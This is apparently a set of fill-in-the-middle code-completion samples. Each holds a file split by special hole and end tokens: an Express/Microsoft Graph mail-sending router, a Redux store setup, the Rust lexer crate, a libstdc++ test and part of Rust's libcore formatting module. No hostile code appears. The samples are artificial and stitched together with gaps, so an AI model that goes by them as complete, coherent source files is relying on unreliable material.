req.body.default_email; // Get the current user's profile photo. graphHelper.getProfilePhoto(accessToken, (errPhoto, profilePhoto) => { // //// TODO: MSA flow with local file (using fs and path?) if (!errPhoto) { // Upload profile photo as file to OneDrive. graphHelper.uploadFile(accessToken, profilePhoto, (errFile, file) => { // Get sharingLink for file. graphHelper.getSharingLink(accessToken, file.id, (errLink, link) => { const mailBody = emailer.generateMailBody( displayName, destinationEmailAddress, link.webUrl, profilePhoto ); callback(null, mailBody); }); }); } else { var fs = require('fs'); var readableStream = fs.createReadStream('public/img/test.jpg'); var picFile; var chunk; readableStream.on('readable', function() { while ((chunk=readableStream.read()) != null) { picFile = chunk; } }); readableStream.on('end', function() { graphHelper.uploadFile(accessToken, picFile, (errFile, file) => { // Get sharingLink for file. graphHelper.getSharingLink(accessToken, file.id, (errLink, link) => { const mailBody = emailer.generateMailBody( displayName, destinationEmailAddress, link.webUrl, picFile ); callback(null, mailBody); }); }); }); } }); } // Send an email. router.post('/sendMail', (req, res) => { const response = res; const templateData = { display_name: req.user.profile.displayName, email_address: req.user.profile.emails[0].address, actual_recipient: req.body.default_email }; prepForEmailMessage(req, (errMailBody, mailBody) => { if (errMailBody) renderError(errMailBody); graphHelper.postSendMail(req.user.accessToken, JSON.stringify(mailBody), (errSendMail) => { if (!errSendMail) { response.render('sendMail', templateData); } else { if (hasAccessTokenExpired(errSendMail)) { errSendMail.message += ' Expired token. Please sign out and sign in again.'; } renderError(errSendMail, response); } }); }); }); router.get('/disconnect', (req, res) => { req.session.destroy(() => { req.logOut(); res.clearCookie('graphNodeCookie'); res.status(200); res.redirect('/'); }); }); // helpers function hasAccessTokenExpired(e) { let expired; if (!e.innerError) { expired = false; } else { expired = e.forbidden && e.message === 'InvalidAuthenticationToken' && e.response.error.message === 'Access token has expired.'; } return expired; } /** * * @param {*} e * @param {*} res */ function renderError(e, res) { e.innerError = (e.response) ? e.response.text : ''; res.render('error', { error: e }); } module.exports = router;<|fim▁end|>
passport.authenticate('azuread-openidconnect', { failureRedirect: '/' }), (req, res) => { res.redirect('/'); });
<|file_name|>configureStore.ts<|end_file_name|><|fim▁begin|>import { createStore, applyMiddleware, Store } from 'redux'; import thunkMiddleware from 'redux-thunk'; //import { createLogger } from 'redux-logger'; import { appReducer, IApplicationState } from '../reducers/appReducer'; import { UserService } from 'services/user.service'; import { QuestionService } from 'services/questions.service';<|fim▁hole|> export default function configureStore() { let userService = new UserService(); let questionService = new QuestionService(); let questionsAssetsService = new QuestionsAssetsService(); let notificationService = new NotificationService(); const appStateStore: Store<IApplicationState, any> = createStore(appReducer, applyMiddleware( thunkMiddleware.withExtraArgument({ userService, questionService, questionsAssetsService, notificationService }))); return appStateStore; }<|fim▁end|>
import { NotificationService } from 'services/notification.service'; import { QuestionsAssetsService } from 'services/questionsAssets.service'; //const loggerMiddleware = createLogger();
<|file_name|>lib.rs<|end_file_name|><|fim▁begin|>//! Low-level Rust lexer. //! //! The idea with `rustc_lexer` is to make a reusable library, //! by separating out pure lexing and rustc-specific concerns, like spans, //! error reporting, and interning. So, rustc_lexer operates directly on `&str`, //! produces simple tokens which are a pair of type-tag and a bit of original text, //! and does not report errors, instead storing them as flags on the token. //! //! Tokens produced by this lexer are not yet ready for parsing the Rust syntax. //! For that see [`rustc_parse::lexer`], which converts this basic token stream //! into wide tokens used by actual parser. //! //! The purpose of this crate is to convert raw sources into a labeled sequence //! of well-known token types, so building an actual Rust token stream will //! be easier. //! //! The main entity of this crate is the [`TokenKind`] enum which represents common //! lexeme types. //! //! [`rustc_parse::lexer`]: ../rustc_parse/lexer/index.html // We want to be able to build this crate with a stable compiler, so no // `#![feature]` attributes should be added. mod cursor; pub mod unescape; #[cfg(test)] mod tests; use self::LiteralKind::*; use self::TokenKind::*; use crate::cursor::{Cursor, EOF_CHAR}; use std::convert::TryFrom; /// Parsed token. /// It doesn't contain information about data that has been parsed, /// only the type of the token and its size. #[derive(Debug)] pub struct Token { pub kind: TokenKind, pub len: usize, } impl Token { fn new(kind: TokenKind, len: usize) -> Token { Token { kind, len } } } /// Enum representing common lexeme types. // perf note: Changing all `usize` to `u32` doesn't change performance. See #77629 #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)] pub enum TokenKind { // Multi-char tokens: /// "// comment" LineComment { doc_style: Option<DocStyle> }, /// `/* block comment */` /// /// Block comments can be recursive, so the sequence like `/* /* */` /// will not be considered terminated and will result in a parsing error. BlockComment { doc_style: Option<DocStyle>, terminated: bool }, /// Any whitespace characters sequence. Whitespace, /// "ident" or "continue" /// At this step keywords are also considered identifiers. Ident, /// "r#ident" RawIdent, /// An unknown prefix like `foo#`, `foo'`, `foo"`. Note that only the /// prefix (`foo`) is included in the token, not the separator (which is /// lexed as its own distinct token). In Rust 2021 and later, reserved /// prefixes are reported as errors; in earlier editions, they result in a /// (allowed by default) lint, and are treated as regular identifier /// tokens. UnknownPrefix, /// "12_u8", "1.0e-40", "b"123"". See `LiteralKind` for more details. Literal { kind: LiteralKind, suffix_start: usize }, /// "'a" Lifetime { starts_with_number: bool }, // One-char tokens: /// ";" Semi, /// "," Comma, /// "." Dot, /// "(" OpenParen, /// ")" CloseParen, /// "{" OpenBrace, /// "}" CloseBrace, /// "[" OpenBracket, /// "]" CloseBracket, /// "@" At, /// "#" Pound, /// "~" Tilde, /// "?" Question, /// ":" Colon, /// "$" Dollar, /// "=" Eq, /// "!" Bang, /// "<" Lt, /// ">" Gt, /// "-" Minus, /// "&" And, /// "|" Or, /// "+" Plus, /// "*" Star, /// "/" Slash, /// "^" Caret, /// "%" Percent, /// Unknown token, not expected by the lexer, e.g. "№" Unknown, } #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)] pub enum DocStyle { Outer, Inner, } #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)] pub enum LiteralKind { /// "12_u8", "0o100", "0b120i99" Int { base: Base, empty_int: bool }, /// "12.34f32", "0b100.100" Float { base: Base, empty_exponent: bool }, /// "'a'", "'\\'", "'''", "';" Char { terminated: bool }, /// "b'a'", "b'\\'", "b'''", "b';" Byte { terminated: bool }, /// ""abc"", ""abc" Str { terminated: bool }, /// "b"abc"", "b"abc" ByteStr { terminated: bool }, /// "r"abc"", "r#"abc"#", "r####"ab"###"c"####", "r#"a" RawStr { n_hashes: u16, err: Option<RawStrError> }, /// "br"abc"", "br#"abc"#", "br####"ab"###"c"####", "br#"a" RawByteStr { n_hashes: u16, err: Option<RawStrError> }, } /// Error produced validating a raw string. Represents cases like: /// - `r##~"abcde"##`: `InvalidStarter` /// - `r###"abcde"##`: `NoTerminator { expected: 3, found: 2, possible_terminator_offset: Some(11)` /// - Too many `#`s (>65535): `TooManyDelimiters` // perf note: It doesn't matter that this makes `Token` 36 bytes bigger. See #77629 #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)] pub enum RawStrError { /// Non `#` characters exist between `r` and `"` eg. `r#~"..` InvalidStarter { bad_char: char }, /// The string was never terminated. `possible_terminator_offset` is the number of characters after `r` or `br` where they /// may have intended to terminate it. NoTerminator { expected: usize, found: usize, possible_terminator_offset: Option<usize> }, /// More than 65535 `#`s exist. TooManyDelimiters { found: usize }, } /// Base of numeric literal encoding according to its prefix. #[derive(Clone, Copy, Debug, PartialEq, Eq, PartialOrd, Ord)] pub enum Base { /// Literal starts with "0b". Binary, /// Literal starts with "0o". Octal, /// Literal starts with "0x". Hexadecimal, /// Literal doesn't contain a prefix. Decimal, } /// `rustc` allows files to have a shebang, e.g. "#!/usr/bin/rustrun", /// but shebang isn't a part of rust syntax. pub fn strip_shebang(input: &str) -> Option<usize> { // Shebang must start with `#!` literally, without any preceding whitespace. // For simplicity we consider any line starting with `#!` a shebang, // regardless of restrictions put on shebangs by specific platforms. if let Some(input_tail) = input.strip_prefix("#!") { // Ok, this is a shebang but if the next non-whitespace token is `[`, // then it may be valid Rust code, so consider it Rust code. let next_non_whitespace_token = tokenize(input_tail).map(|tok| tok.kind).find(|tok| { !matches!( tok, TokenKind::Whitespace | TokenKind::LineComment { doc_style: None } | TokenKind::BlockComment { doc_style: None, .. } ) }); if next_non_whitespace_token != Some(TokenKind::OpenBracket) { // No other choice than to consider this a shebang. return Some(2 + input_tail.lines().next().unwrap_or_default().len()); } } None } /// Parses the first token from the provided input string. pub fn first_token(input: &str) -> Token { debug_assert!(!input.is_empty()); Cursor::new(input).advance_token() } /// Creates an iterator that produces tokens from the input string. pub fn tokenize(mut input: &str) -> impl Iterator<Item = Token> + '_ { std::iter::from_fn(move || { if input.is_empty() { return None; } let token = first_token(input); input = &input[token.len..]; Some(token) }) } /// True if `c` is considered a whitespace according to Rust language definition. /// See [Rust language reference](https://doc.rust-lang.org/reference/whitespace.html) /// for definitions of these classes. pub fn is_whitespace(c: char) -> bool { // This is Pattern_White_Space. // // Note that this set is stable (ie, it doesn't change with different // Unicode versions), so it's ok to just hard-code the values. matches!( c, // Usual ASCII suspects '\u{0009}' // \t | '\u{000A}' // \n | '\u{000B}' // vertical tab | '\u{000C}' // form feed | '\u{000D}' // \r | '\u{0020}' // space // NEXT LINE from latin1 | '\u{0085}' // Bidi markers | '\u{200E}' // LEFT-TO-RIGHT MARK | '\u{200F}' // RIGHT-TO-LEFT MARK // Dedicated whitespace characters from Unicode | '\u{2028}' // LINE SEPARATOR | '\u{2029}' // PARAGRAPH SEPARATOR ) } /// True if `c` is valid as a first character of an identifier. /// See [Rust language reference](https://doc.rust-lang.org/reference/identifiers.html) for /// a formal definition of valid identifier name. pub fn is_id_start(c: char) -> bool { // This is XID_Start OR '_' (which formally is not a XID_Start). c == '_' || unicode_xid::UnicodeXID::is_xid_start(c) } /// True if `c` is valid as a non-first character of an identifier. /// See [Rust language reference](https://doc.rust-lang.org/reference/identifiers.html) for /// a formal definition of valid identifier name. pub fn is_id_continue(c: char) -> bool { unicode_xid::UnicodeXID::is_xid_continue(c) } /// The passed string is lexically an identifier. pub fn is_ident(string: &str) -> bool { let mut chars = string.chars(); if let Some(start) = chars.next() { is_id_start(start) && chars.all(is_id_continue) } else { false } } impl Cursor<'_> { /// Parses a token from the input string. fn advance_token(&mut self) -> Token { let first_char = self.bump().unwrap(); let token_kind = match first_char { // Slash, comment or block comment. '/' => match self.first() { '/' => self.line_comment(), '*' => self.block_comment(), _ => Slash, }, // Whitespace sequence. c if is_whitespace(c) => self.whitespace(), // Raw identifier, raw string literal or identifier. 'r' => match (self.first(), self.second()) { ('#', c1) if is_id_start(c1) => self.raw_ident(), ('#', _) | ('"', _) => { let (n_hashes, err) = self.raw_double_quoted_string(1); let suffix_start = self.len_consumed(); if err.is_none() { self.eat_literal_suffix(); } let kind = RawStr { n_hashes, err }; Literal { kind, suffix_start } } _ => self.ident_or_unknown_prefix(), }, // Byte literal, byte string literal, raw byte string literal or identifier. 'b' => match (self.first(), self.second()) { ('\'', _) => { self.bump();<|fim▁hole|> let suffix_start = self.len_consumed(); if terminated { self.eat_literal_suffix(); } let kind = Byte { terminated }; Literal { kind, suffix_start } } ('"', _) => { self.bump(); let terminated = self.double_quoted_string(); let suffix_start = self.len_consumed(); if terminated { self.eat_literal_suffix(); } let kind = ByteStr { terminated }; Literal { kind, suffix_start } } ('r', '"') | ('r', '#') => { self.bump(); let (n_hashes, err) = self.raw_double_quoted_string(2); let suffix_start = self.len_consumed(); if err.is_none() { self.eat_literal_suffix(); } let kind = RawByteStr { n_hashes, err }; Literal { kind, suffix_start } } _ => self.ident_or_unknown_prefix(), }, // Identifier (this should be checked after other variant that can // start as identifier). c if is_id_start(c) => self.ident_or_unknown_prefix(), // Numeric literal. c @ '0'..='9' => { let literal_kind = self.number(c); let suffix_start = self.len_consumed(); self.eat_literal_suffix(); TokenKind::Literal { kind: literal_kind, suffix_start } } // One-symbol tokens. ';' => Semi, ',' => Comma, '.' => Dot, '(' => OpenParen, ')' => CloseParen, '{' => OpenBrace, '}' => CloseBrace, '[' => OpenBracket, ']' => CloseBracket, '@' => At, '#' => Pound, '~' => Tilde, '?' => Question, ':' => Colon, '$' => Dollar, '=' => Eq, '!' => Bang, '<' => Lt, '>' => Gt, '-' => Minus, '&' => And, '|' => Or, '+' => Plus, '*' => Star, '^' => Caret, '%' => Percent, // Lifetime or character literal. '\'' => self.lifetime_or_char(), // String literal. '"' => { let terminated = self.double_quoted_string(); let suffix_start = self.len_consumed(); if terminated { self.eat_literal_suffix(); } let kind = Str { terminated }; Literal { kind, suffix_start } } _ => Unknown, }; Token::new(token_kind, self.len_consumed()) } fn line_comment(&mut self) -> TokenKind { debug_assert!(self.prev() == '/' && self.first() == '/'); self.bump(); let doc_style = match self.first() { // `//!` is an inner line doc comment. '!' => Some(DocStyle::Inner), // `////` (more than 3 slashes) is not considered a doc comment. '/' if self.second() != '/' => Some(DocStyle::Outer), _ => None, }; self.eat_while(|c| c != '\n'); LineComment { doc_style } } fn block_comment(&mut self) -> TokenKind { debug_assert!(self.prev() == '/' && self.first() == '*'); self.bump(); let doc_style = match self.first() { // `/*!` is an inner block doc comment. '!' => Some(DocStyle::Inner), // `/***` (more than 2 stars) is not considered a doc comment. // `/**/` is not considered a doc comment. '*' if !matches!(self.second(), '*' | '/') => Some(DocStyle::Outer), _ => None, }; let mut depth = 1usize; while let Some(c) = self.bump() { match c { '/' if self.first() == '*' => { self.bump(); depth += 1; } '*' if self.first() == '/' => { self.bump(); depth -= 1; if depth == 0 { // This block comment is closed, so for a construction like "/* */ */" // there will be a successfully parsed block comment "/* */" // and " */" will be processed separately. break; } } _ => (), } } BlockComment { doc_style, terminated: depth == 0 } } fn whitespace(&mut self) -> TokenKind { debug_assert!(is_whitespace(self.prev())); self.eat_while(is_whitespace); Whitespace } fn raw_ident(&mut self) -> TokenKind { debug_assert!(self.prev() == 'r' && self.first() == '#' && is_id_start(self.second())); // Eat "#" symbol. self.bump(); // Eat the identifier part of RawIdent. self.eat_identifier(); RawIdent } fn ident_or_unknown_prefix(&mut self) -> TokenKind { debug_assert!(is_id_start(self.prev())); // Start is already eaten, eat the rest of identifier. self.eat_while(is_id_continue); // Known prefixes must have been handled earlier. So if // we see a prefix here, it is definitely an unknown prefix. match self.first() { '#' | '"' | '\'' => UnknownPrefix, _ => Ident, } } fn number(&mut self, first_digit: char) -> LiteralKind { debug_assert!('0' <= self.prev() && self.prev() <= '9'); let mut base = Base::Decimal; if first_digit == '0' { // Attempt to parse encoding base. let has_digits = match self.first() { 'b' => { base = Base::Binary; self.bump(); self.eat_decimal_digits() } 'o' => { base = Base::Octal; self.bump(); self.eat_decimal_digits() } 'x' => { base = Base::Hexadecimal; self.bump(); self.eat_hexadecimal_digits() } // Not a base prefix. '0'..='9' | '_' | '.' | 'e' | 'E' => { self.eat_decimal_digits(); true } // Just a 0. _ => return Int { base, empty_int: false }, }; // Base prefix was provided, but there were no digits // after it, e.g. "0x". if !has_digits { return Int { base, empty_int: true }; } } else { // No base prefix, parse number in the usual way. self.eat_decimal_digits(); }; match self.first() { // Don't be greedy if this is actually an // integer literal followed by field/method access or a range pattern // (`0..2` and `12.foo()`) '.' if self.second() != '.' && !is_id_start(self.second()) => { // might have stuff after the ., and if it does, it needs to start // with a number self.bump(); let mut empty_exponent = false; if self.first().is_digit(10) { self.eat_decimal_digits(); match self.first() { 'e' | 'E' => { self.bump(); empty_exponent = !self.eat_float_exponent(); } _ => (), } } Float { base, empty_exponent } } 'e' | 'E' => { self.bump(); let empty_exponent = !self.eat_float_exponent(); Float { base, empty_exponent } } _ => Int { base, empty_int: false }, } } fn lifetime_or_char(&mut self) -> TokenKind { debug_assert!(self.prev() == '\''); let can_be_a_lifetime = if self.second() == '\'' { // It's surely not a lifetime. false } else { // If the first symbol is valid for identifier, it can be a lifetime. // Also check if it's a number for a better error reporting (so '0 will // be reported as invalid lifetime and not as unterminated char literal). is_id_start(self.first()) || self.first().is_digit(10) }; if !can_be_a_lifetime { let terminated = self.single_quoted_string(); let suffix_start = self.len_consumed(); if terminated { self.eat_literal_suffix(); } let kind = Char { terminated }; return Literal { kind, suffix_start }; } // Either a lifetime or a character literal with // length greater than 1. let starts_with_number = self.first().is_digit(10); // Skip the literal contents. // First symbol can be a number (which isn't a valid identifier start), // so skip it without any checks. self.bump(); self.eat_while(is_id_continue); // Check if after skipping literal contents we've met a closing // single quote (which means that user attempted to create a // string with single quotes). if self.first() == '\'' { self.bump(); let kind = Char { terminated: true }; Literal { kind, suffix_start: self.len_consumed() } } else { Lifetime { starts_with_number } } } fn single_quoted_string(&mut self) -> bool { debug_assert!(self.prev() == '\''); // Check if it's a one-symbol literal. if self.second() == '\'' && self.first() != '\\' { self.bump(); self.bump(); return true; } // Literal has more than one symbol. // Parse until either quotes are terminated or error is detected. loop { match self.first() { // Quotes are terminated, finish parsing. '\'' => { self.bump(); return true; } // Probably beginning of the comment, which we don't want to include // to the error report. '/' => break, // Newline without following '\'' means unclosed quote, stop parsing. '\n' if self.second() != '\'' => break, // End of file, stop parsing. EOF_CHAR if self.is_eof() => break, // Escaped slash is considered one character, so bump twice. '\\' => { self.bump(); self.bump(); } // Skip the character. _ => { self.bump(); } } } // String was not terminated. false } /// Eats double-quoted string and returns true /// if string is terminated. fn double_quoted_string(&mut self) -> bool { debug_assert!(self.prev() == '"'); while let Some(c) = self.bump() { match c { '"' => { return true; } '\\' if self.first() == '\\' || self.first() == '"' => { // Bump again to skip escaped character. self.bump(); } _ => (), } } // End of file reached. false } /// Eats the double-quoted string and returns `n_hashes` and an error if encountered. fn raw_double_quoted_string(&mut self, prefix_len: usize) -> (u16, Option<RawStrError>) { // Wrap the actual function to handle the error with too many hashes. // This way, it eats the whole raw string. let (n_hashes, err) = self.raw_string_unvalidated(prefix_len); // Only up to 65535 `#`s are allowed in raw strings match u16::try_from(n_hashes) { Ok(num) => (num, err), // We lie about the number of hashes here :P Err(_) => (0, Some(RawStrError::TooManyDelimiters { found: n_hashes })), } } fn raw_string_unvalidated(&mut self, prefix_len: usize) -> (usize, Option<RawStrError>) { debug_assert!(self.prev() == 'r'); let start_pos = self.len_consumed(); let mut possible_terminator_offset = None; let mut max_hashes = 0; // Count opening '#' symbols. let mut eaten = 0; while self.first() == '#' { eaten += 1; self.bump(); } let n_start_hashes = eaten; // Check that string is started. match self.bump() { Some('"') => (), c => { let c = c.unwrap_or(EOF_CHAR); return (n_start_hashes, Some(RawStrError::InvalidStarter { bad_char: c })); } } // Skip the string contents and on each '#' character met, check if this is // a raw string termination. loop { self.eat_while(|c| c != '"'); if self.is_eof() { return ( n_start_hashes, Some(RawStrError::NoTerminator { expected: n_start_hashes, found: max_hashes, possible_terminator_offset, }), ); } // Eat closing double quote. self.bump(); // Check that amount of closing '#' symbols // is equal to the amount of opening ones. // Note that this will not consume extra trailing `#` characters: // `r###"abcde"####` is lexed as a `RawStr { n_hashes: 3 }` // followed by a `#` token. let mut n_end_hashes = 0; while self.first() == '#' && n_end_hashes < n_start_hashes { n_end_hashes += 1; self.bump(); } if n_end_hashes == n_start_hashes { return (n_start_hashes, None); } else if n_end_hashes > max_hashes { // Keep track of possible terminators to give a hint about // where there might be a missing terminator possible_terminator_offset = Some(self.len_consumed() - start_pos - n_end_hashes + prefix_len); max_hashes = n_end_hashes; } } } fn eat_decimal_digits(&mut self) -> bool { let mut has_digits = false; loop { match self.first() { '_' => { self.bump(); } '0'..='9' => { has_digits = true; self.bump(); } _ => break, } } has_digits } fn eat_hexadecimal_digits(&mut self) -> bool { let mut has_digits = false; loop { match self.first() { '_' => { self.bump(); } '0'..='9' | 'a'..='f' | 'A'..='F' => { has_digits = true; self.bump(); } _ => break, } } has_digits } /// Eats the float exponent. Returns true if at least one digit was met, /// and returns false otherwise. fn eat_float_exponent(&mut self) -> bool { debug_assert!(self.prev() == 'e' || self.prev() == 'E'); if self.first() == '-' || self.first() == '+' { self.bump(); } self.eat_decimal_digits() } // Eats the suffix of the literal, e.g. "_u8". fn eat_literal_suffix(&mut self) { self.eat_identifier(); } // Eats the identifier. fn eat_identifier(&mut self) { if !is_id_start(self.first()) { return; } self.bump(); self.eat_while(is_id_continue); } /// Eats symbols while predicate returns true or until the end of file is reached. fn eat_while(&mut self, mut predicate: impl FnMut(char) -> bool) { while predicate(self.first()) && !self.is_eof() { self.bump(); } } }<|fim▁end|>
let terminated = self.single_quoted_string();
<|file_name|>profile_mode.cc<|end_file_name|><|fim▁begin|>// Copyright (C) 2019-2021 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the<|fim▁hole|> // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License along // with this library; see the file COPYING3. If not see // <http://www.gnu.org/licenses/>. // { dg-options "-std=gnu++11" } // { dg-do compile { target c++11 } } // This macro should have no effect now #define _GLIBCXX_PROFILE 1 #include <vector><|fim▁end|>
// terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version.
<|file_name|>mod.rs<|end_file_name|><|fim▁begin|>// Copyright 2013-2014 The Rust Project Developers. See the COPYRIGHT // file at the top-level directory of this distribution and at // http://rust-lang.org/COPYRIGHT. // // Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or // http://www.apache.org/licenses/LICENSE-2.0> or the MIT license // <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your // option. This file may not be copied, modified, or distributed // except according to those terms. //! Utilities for formatting and printing strings #![allow(unused_variables)] use any; use cell::{Cell, Ref, RefMut}; use iter::{Iterator, range}; use kinds::{Copy, Sized}; use mem; use option::{Option, Some, None}; use ops::Deref; use result::{Ok, Err}; use result; use slice::SlicePrelude; use slice; use str::StrPrelude; pub use self::num::radix; pub use self::num::Radix; pub use self::num::RadixFmt; mod num; mod float; pub mod rt; #[experimental = "core and I/O reconciliation may alter this definition"] pub type Result = result::Result<(), Error>; /// The error type which is returned from formatting a message into a stream. /// /// This type does not support transmission of an error other than that an error /// occurred. Any extra information must be arranged to be transmitted through /// some other means. #[experimental = "core and I/O reconciliation may alter this definition"] pub struct Error; /// A collection of methods that are required to format a message into a stream. /// /// This trait is the type which this modules requires when formatting /// information. This is similar to the standard library's `io::Writer` trait, /// but it is only intended for use in libcore. /// /// This trait should generally not be implemented by consumers of the standard /// library. The `write!` macro accepts an instance of `io::Writer`, and the /// `io::Writer` trait is favored over implementing this trait. #[experimental = "waiting for core and I/O reconciliation"] pub trait FormatWriter { /// Writes a slice of bytes into this writer, returning whether the write /// succeeded. /// /// This method can only succeed if the entire byte slice was successfully /// written, and this method will not return until all data has been /// written or an error occurs. /// /// # Errors /// /// This function will return an instance of `FormatError` on error. fn write(&mut self, bytes: &[u8]) -> Result; /// Glue for usage of the `write!` macro with implementers of this trait. /// /// This method should generally not be invoked manually, but rather through /// the `write!` macro itself. fn write_fmt(&mut self, args: &Arguments) -> Result { write(self, args) } } /// A struct to represent both where to emit formatting strings to and how they /// should be formatted. A mutable version of this is passed to all formatting /// traits. #[unstable = "name may change and implemented traits are also unstable"] pub struct Formatter<'a> { flags: uint, fill: char, align: rt::Alignment, width: Option<uint>, precision: Option<uint>, buf: &'a mut FormatWriter+'a, curarg: slice::Items<'a, Argument<'a>>, args: &'a [Argument<'a>], } enum Void {} /// This struct represents the generic "argument" which is taken by the Xprintf /// family of functions. It contains a function to format the given value. At /// compile time it is ensured that the function and the value have the correct /// types, and then this struct is used to canonicalize arguments to one type. #[experimental = "implementation detail of the `format_args!` macro"] pub struct Argument<'a> { formatter: extern "Rust" fn(&Void, &mut Formatter) -> Result, value: &'a Void, } impl<'a> Arguments<'a> { /// When using the format_args!() macro, this function is used to generate the /// Arguments structure. The compiler inserts an `unsafe` block to call this, /// which is valid because the compiler performs all necessary validation to /// ensure that the resulting call to format/write would be safe. #[doc(hidden)] #[inline] #[experimental = "implementation detail of the `format_args!` macro"] pub unsafe fn new<'a>(pieces: &'static [&'static str], args: &'a [Argument<'a>]) -> Arguments<'a> { Arguments { pieces: mem::transmute(pieces), fmt: None, args: args } } /// This function is used to specify nonstandard formatting parameters. /// The `pieces` array must be at least as long as `fmt` to construct /// a valid Arguments structure. #[doc(hidden)] #[inline] #[experimental = "implementation detail of the `format_args!` macro"] pub unsafe fn with_placeholders<'a>(pieces: &'static [&'static str], fmt: &'static [rt::Argument<'static>], args: &'a [Argument<'a>]) -> Arguments<'a> { Arguments { pieces: mem::transmute(pieces), fmt: Some(mem::transmute(fmt)), args: args } } } /// This structure represents a safely precompiled version of a format string /// and its arguments. This cannot be generated at runtime because it cannot /// safely be done so, so no constructors are given and the fields are private /// to prevent modification. /// /// The `format_args!` macro will safely create an instance of this structure /// and pass it to a function or closure, passed as the first argument. The /// macro validates the format string at compile-time so usage of the `write` /// and `format` functions can be safely performed. #[stable] pub struct Arguments<'a> { // Format string pieces to print. pieces: &'a [&'a str], // Placeholder specs, or `None` if all specs are default (as in "{}{}"). fmt: Option<&'a [rt::Argument<'a>]>, // Dynamic arguments for interpolation, to be interleaved with string // pieces. (Every argument is preceded by a string piece.) args: &'a [Argument<'a>], } impl<'a> Show for Arguments<'a> { fn fmt(&self, fmt: &mut Formatter) -> Result { write(fmt.buf, self) } } /// When a format is not otherwise specified, types are formatted by ascribing /// to this trait. There is not an explicit way of selecting this trait to be /// used for formatting, it is only if no other format is specified. #[unstable = "I/O and core have yet to be reconciled"] pub trait Show for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `o` character #[unstable = "I/O and core have yet to be reconciled"] pub trait Octal for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `t` character #[unstable = "I/O and core have yet to be reconciled"] pub trait Binary for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `x` character #[unstable = "I/O and core have yet to be reconciled"] pub trait LowerHex for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `X` character #[unstable = "I/O and core have yet to be reconciled"] pub trait UpperHex for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `p` character #[unstable = "I/O and core have yet to be reconciled"] pub trait Pointer for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `e` character #[unstable = "I/O and core have yet to be reconciled"] pub trait LowerExp for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } /// Format trait for the `E` character #[unstable = "I/O and core have yet to be reconciled"] pub trait UpperExp for Sized? { /// Formats the value using the given formatter. fn fmt(&self, &mut Formatter) -> Result; } static DEFAULT_ARGUMENT: rt::Argument<'static> = rt::Argument { position: rt::ArgumentNext, format: rt::FormatSpec { fill: ' ', align: rt::AlignUnknown, flags: 0, precision: rt::CountImplied, width: rt::CountImplied, } }; /// The `write` function takes an output stream, a precompiled format string, /// and a list of arguments. The arguments will be formatted according to the /// specified format string into the output stream provided. /// /// # Arguments /// /// * output - the buffer to write output to /// * args - the precompiled arguments generated by `format_args!` #[experimental = "libcore and I/O have yet to be reconciled, and this is an \ implementation detail which should not otherwise be exported"] pub fn write(output: &mut FormatWriter, args: &Arguments) -> Result { let mut formatter = Formatter { flags: 0, width: None, precision: None, buf: output, align: rt::AlignUnknown, fill: ' ', args: args.args, curarg: args.args.iter(), }; let mut pieces = args.pieces.iter(); match args.fmt { None => { // We can use default formatting parameters for all arguments. for _ in range(0, args.args.len()) { try!(formatter.buf.write(pieces.next().unwrap().as_bytes())); try!(formatter.run(&DEFAULT_ARGUMENT)); } } Some(fmt) => { // Every spec has a corresponding argument that is preceded by // a string piece. for (arg, piece) in fmt.iter().zip(pieces.by_ref()) { try!(formatter.buf.write(piece.as_bytes())); try!(formatter.run(arg)); } } } // There can be only one trailing string piece left. match pieces.next() { Some(piece) => { try!(formatter.buf.write(piece.as_bytes())); } None => {} } Ok(()) } impl<'a> Formatter<'a> { // First up is the collection of functions used to execute a format string // at runtime. This consumes all of the compile-time statics generated by // the format! syntax extension. fn run(&mut self, arg: &rt::Argument) -> Result { // Fill in the format parameters into the formatter self.fill = arg.format.fill; self.align = arg.format.align; self.flags = arg.format.flags; self.width = self.getcount(&arg.format.width); self.precision = self.getcount(&arg.format.precision); // Extract the correct argument let value = match arg.position { rt::ArgumentNext => { *self.curarg.next().unwrap() } rt::ArgumentIs(i) => self.args[i], }; // Then actually do some printing (value.formatter)(value.value, self) } fn getcount(&mut self, cnt: &rt::Count) -> Option<uint> { match *cnt { rt::CountIs(n) => { Some(n) } rt::CountImplied => { None } rt::CountIsParam(i) => { let v = self.args[i].value; unsafe { Some(*(v as *const _ as *const uint)) } } rt::CountIsNextParam => { let v = self.curarg.next().unwrap().value; unsafe { Some(*(v as *const _ as *const uint)) } } } } // Helper methods used for padding and processing formatting arguments that // all formatting traits can use. /// Performs the correct padding for an integer which has already been /// emitted into a byte-array. The byte-array should *not* contain the sign /// for the integer, that will be added by this method. /// /// # Arguments /// /// * is_positive - whether the original integer was positive or not. /// * prefix - if the '#' character (FlagAlternate) is provided, this /// is the prefix to put in front of the number. /// * buf - the byte array that the number has been formatted into /// /// This function will correctly account for the flags provided as well as /// the minimum width. It will not take precision into account. #[unstable = "definition may change slightly over time"] pub fn pad_integral(&mut self, is_positive: bool, prefix: &str, buf: &[u8]) -> Result { use char::Char; use fmt::rt::{FlagAlternate, FlagSignPlus, FlagSignAwareZeroPad}; let mut width = buf.len(); let mut sign = None; if !is_positive { sign = Some('-'); width += 1; } else if self.flags & (1 << (FlagSignPlus as uint)) != 0 { sign = 